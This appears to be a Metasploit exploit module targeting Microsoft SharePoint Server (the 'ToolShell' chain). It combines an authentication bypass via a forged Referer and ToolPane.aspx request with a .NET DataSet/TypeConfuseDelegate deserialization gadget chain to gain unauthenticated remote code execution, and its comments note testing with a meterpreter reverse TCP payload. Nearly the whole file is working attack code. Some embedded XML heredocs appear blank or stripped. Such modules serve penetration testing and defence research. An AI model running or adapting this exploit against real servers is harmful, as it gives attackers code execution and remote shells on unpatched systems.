## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)', 'Description' => %q{ This module exploits the authentication bypass vulnerabilities CVE-2025-49706 and CVE-2025-53771, and an unsafe deserialization vulnerability CVE-2025-49704, to achieve unauthenticated RCE against a vulnerable Microsoft SharePoint Server. The vulnerability CVE-2025-53770 was disclosed as being a patch bypass of CVE-2025-49704, and as described by the finders, CVE-2025-53770 targets a different endpoint within the /_vti_bin/ URI path. As this exploit module does not target the endpoint associated with CVE-2025-53770 (per the original finders), we believe this module is best described as exploiting CVE-2025-49704 and not CVE-2025-53770. }, 'License' => MSF_LICENSE, 'Author' => [ # Discovered CVE-2025-49704 and CVE-2025-49706, demoed at Pwn2Own Berlin 2025. # Credited by Microsoft as also discovering CVE-2025-53770 and CVE-2025-53771. 'Viettel Cyber Security', # Metasploit module, based on the public PoC of the exploit for CVE-2025-49706 and CVE-2025-49704. 'sfewer-r7' ], 'References' => [ # Microsoft SharePoint DataSetSurrogateSelector Deserialization of Untrusted Data Remote Code Execution Vulnerability. ['CVE', '2025-49704'], # Microsoft SharePoint ToolPane Authentication Bypass Vulnerability. ['CVE', '2025-49706'], # Patch bypass for CVE-2025-49704, by targeting a different endpoint within the /_vti_bin/ path. ['CVE', '2025-53770'], # Patch bypass for CVE-2025-49706. ['CVE', '2025-53771'], # Technical analysis of CVE-2025-49704 and CVE-2025-49706 by the original finder, Dinh Ho Anh Khoa (Viettel Cyber Security). ['URL', 'https://blog.viettelcybersecurity.com/sharepoint-toolshell/'], # LeakIX blog which captured the malicious request for the in-the-wild exploit for CVE-2025-49706, CVE-2025-53771, and CVE-2025-49704. ['URL', 'https://blog.leakix.net/2025/07/using-their-own-weapons-for-defense-a-sharepoint-story/'], # Technical analysis of CVE-2025-49704, CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771 by Kaspersky. ['URL', 'https://securelist.com/toolshell-explained/'], # ZDI advisories for CVE-2025-49704 and CVE-2025-49706, discovered by Viettel Cyber Security. ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-580/'], ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-581/'], # Microsoft advisories for CVE-2025-49704 and CVE-2025-49706. ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704'], ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706'], # Microsoft advisories for CVE-2025-53770 and CVE-2025-53771. ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770'], ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771'], # Microsoft Guidance. ['URL', 'https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/'], ['URL', 'https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/'], # The zero-day exploit for CVE-2025-49704, CVE-2025-49706, published July 21, 2025. ['URL', 'https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501'], # Markus Wulftange (CODE WHITE GmbH) reproduced CVE-2025-49704 and CVE-2025-49706, circa July 14, 2025. ['URL', 'https://x.com/codewhitesec/status/1944743478350557232'], # Dinh Ho Anh Khoa (Viettel Cyber Security) demoed CVE-2025-49704 and CVE-2025-49706 at Pwn2Own Berlin on May 16, 2025. ['URL', 'https://x.com/thezdi/status/1923317597673533552'], # Prior work from Steven Seeley on a similar DataSet gadget chain for SharePoint. ['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html'] ], 'DisclosureDate' => '2025-07-08', # Disclosure date for CVE-2025-49704 and CVE-2025-49706. 'Platform' => ['win'], 'Arch' => [ARCH_CMD], 'Privileged' => false, # Executes as the SharePoint site user. 'Targets' => [ [ 'Default', {} ] ], # NOTE: Tested with the following payloads: # cmd/windows/http/x64/meterpreter/reverse_tcp # cmd/windows/generic 'DefaultOptions' => { 'RPORT' => 80, 'SSL' => false, # Delete the fetch binary after execution. 'FETCH_DELETE' => true, # The root path of the SharePoint site 'URIPATH' => '/' }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'start.aspx') ) return CheckCode::Unknown('Connection failed') unless res return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200 # The returned HTML will have a blob of JavaScript that contains a hash object called _spPageContextInfo. A key # called siteClientTag will have a value of the current SharePoint Server patch level. We cannot rely on the HTTP # header value MicrosoftSharePointTeamServices as this may not reflect the actual patch level. site_client_tag = res.body.match(/"*siteClientTag"*\s*:\s*"\d*[$]+([^"]+)",/) return CheckCode::Unknown('Unable to extract the siteClientTag') unless site_client_tag version = Rex::Version.new(site_client_tag[1]) # We compare the version we pull from the target, against a table of known vulnerable SharePoint editions. We # compare the target version against the RTM version (i.e. the first version of an edition) and the version *before* # the patch for CVE-2025-53770 and CVE-2025-53771 (which supersedes patches for CVE-2025-49704 and CVE-2025-49706 # from July 2025). # Note: A SharePoint server that has the patch for CVE-2025-49704 applied, may still be vulnerable if a SharePoint # configuration update has not also manually occurred. # https://learn.microsoft.com/en-us/sharepoint/product-servicing-policy/updated-product-servicing-policy-for-sharepoint-2019 # https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates ranges = [ [ 'Microsoft SharePoint Server Subscription Edition', '16.0.14326.20450', # The RTM version (circa 2021) '16.0.18526.20424' # July 2025 ], [ 'Microsoft SharePoint Server 2019', '16.0.10337.12109', # The RTM version (circa 2019) '16.0.10417.20027' # July 2025 ], [ 'Microsoft SharePoint Enterprise Server 2016', '16.0.4351.1000', # The RTM version (circa 2017) '16.0.5508.1000' # July 2025 ], # NOTE: It is unclear if older unsupported versions (SharePoint Server 2013 and 2010) are vulnerable. [ 'SharePoint Server 2013', '15.0.4481.1005', '15.0.5545.1000' # Last version before end of support. ], [ 'SharePoint Server 2010', '14.0.7015.1000', '14.0.7268.5000' # Last version before end of support. ] ] ranges.each do |product, rtm_version, patch_version| if version.between?(Rex::Version.new(rtm_version), Rex::Version.new(patch_version)) return Exploit::CheckCode::Appears("Detected #{product} version #{version}") end end # If we get here, it's a patched version. Exploit::CheckCode::Safe("Detected Microsoft SharePoint Server version #{version}") end def exploit gadget_raw = create_gadget_chain send_exploit(gadget_raw) end # This gadget chain was reconstructed from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501) # and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget chain has # been removed, and we instead use our nested_gadget_b64 to execute a Metasploit payload (via a separate # TypeConfuseDelegate gadget chain). class DataSetWrapper < Msf::Util::DotNetDeserialization::Types::SerializedStream def self.generate(nested_gadget_b64) name_a = Rex::Text.rand_text_alpha_lower(8..16) name_b = Rex::Text.rand_text_alpha_lower(8..16) name_c = Rex::Text.rand_text_alpha_lower(8..16) # The msdata:DataType attribute below is CVE-2025-49704, and allows bypassing a filter list so we can instantiate # LosFormatter and ObjectDataProvider in the diffgr:diffgram XML document below, allowing us to kick off a second # stage deserialization gadget (which will be a TypeConfuseDelegate + LosFormatter gadget chain). schema = <<~EOF EOF diffgram = <<~EOF <#{name_a}> <#{name_b} diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted"> <#{name_c} xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> Deserialize #{nested_gadget_b64} EOF system = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0'].fetch('System.Data') library = Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryLibrary.new( library_id: 2, library_name: system.to_s ) from_values([ Msf::Util::DotNetDeserialization::Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1), library, Msf::Util::DotNetDeserialization::Types::RecordValues::ClassWithMembersAndTypes.new( class_info: Msf::Util::DotNetDeserialization::Types::General::ClassInfo.new( obj_id: 1, name: 'System.Data.DataSet', member_names: %w[XmlSchema XmlDiffGram] ), member_type_info: Msf::Util::DotNetDeserialization::Types::General::MemberTypeInfo.new( binary_type_enums: %i[String String] ), library_id: library.library_id, member_values: [ Msf::Util::DotNetDeserialization::Types::Record.from_value( Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new( obj_id: 3, string: schema ) ), Msf::Util::DotNetDeserialization::Types::Record.from_value( Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new( obj_id: 2, string: diffgram ) ), ] ), Msf::Util::DotNetDeserialization::Types::RecordValues::MessageEnd.new ]) end end def create_gadget_chain # NOTE: Depending on the version of SharePoint, different gadgets can be used. # # * A TypeConfuseDelegate + BinaryFormatter gadget chain was tested against Microsoft SharePoint Server 2019 version # 16.0.10337.12109 (RTM circa 2019), but does not work on more recent versions like 16.0.10417.20018 (June 2025). # # * The XmlSchema DataSet chain which then wraps the TypeConfuseDelegate + LosFormatter gadget chain was tested to # work against Microsoft SharePoint Server 2019 versions 16.0.10337.12109 (RTM circa 2019), 16.0.10417.20018 # (June 2025), and 16.0.10417.20027 (July 2025). This is the chain as caught in-the-wild circa July 19, 2025. typeconfusedelegate_gadget_raw = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: :TypeConfuseDelegate, formatter: :LosFormatter ) vprint_status('Using TypeConfuseDelegate + LosFormatter gadget chain:') vprint_line(Rex::Text.to_hex_dump(typeconfusedelegate_gadget_raw)) typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw) dataset_gadget_raw = DataSetWrapper.generate(typeconfusedelegate_gadget_b64).to_binary_s vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:') vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw)) dataset_gadget_raw end def send_exploit(gadget_raw) gadget_gzip = StringIO.new gzip = Zlib::GzipWriter.new(gadget_gzip) gzip.write(gadget_raw) gzip.close namespace_ui = Rex::Text.rand_text_alpha_lower(8..16) namespace_scorecards = Rex::Text.rand_text_alpha_lower(8..16) xml = <<~EOF <%@ Register Tagprefix="#{namespace_ui}" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %> <%@ Register Tagprefix="#{namespace_scorecards}" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <#{namespace_ui}:UpdateProgress> <#{namespace_scorecards}:ExcelDataSet CompressedDataTable="#{Base64.strict_encode64(gadget_gzip.string)}" DataTable-CaseSensitive="true" runat="server"/> EOF send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri( target_uri.path, '_layouts', '15', 'ToolPane.aspx', Rex::Text.rand_text_alpha_lower(8..16) # The addition of a trailing path segment appears to be CVE-2025-53771 ), 'ctype' => 'application/x-www-form-urlencoded', 'headers' => { 'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706 }, 'vars_get' => { 'DisplayMode' => 'Edit', # This is part of CVE-2025-49706 Rex::Text.rand_text_alpha_lower(8..16) => '/ToolPane.aspx' # This is part of CVE-2025-49706 }, 'vars_post' => { 'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), # This is part of CVE-2025-49706 'MSOTlPn_DWP' => xml } ) end end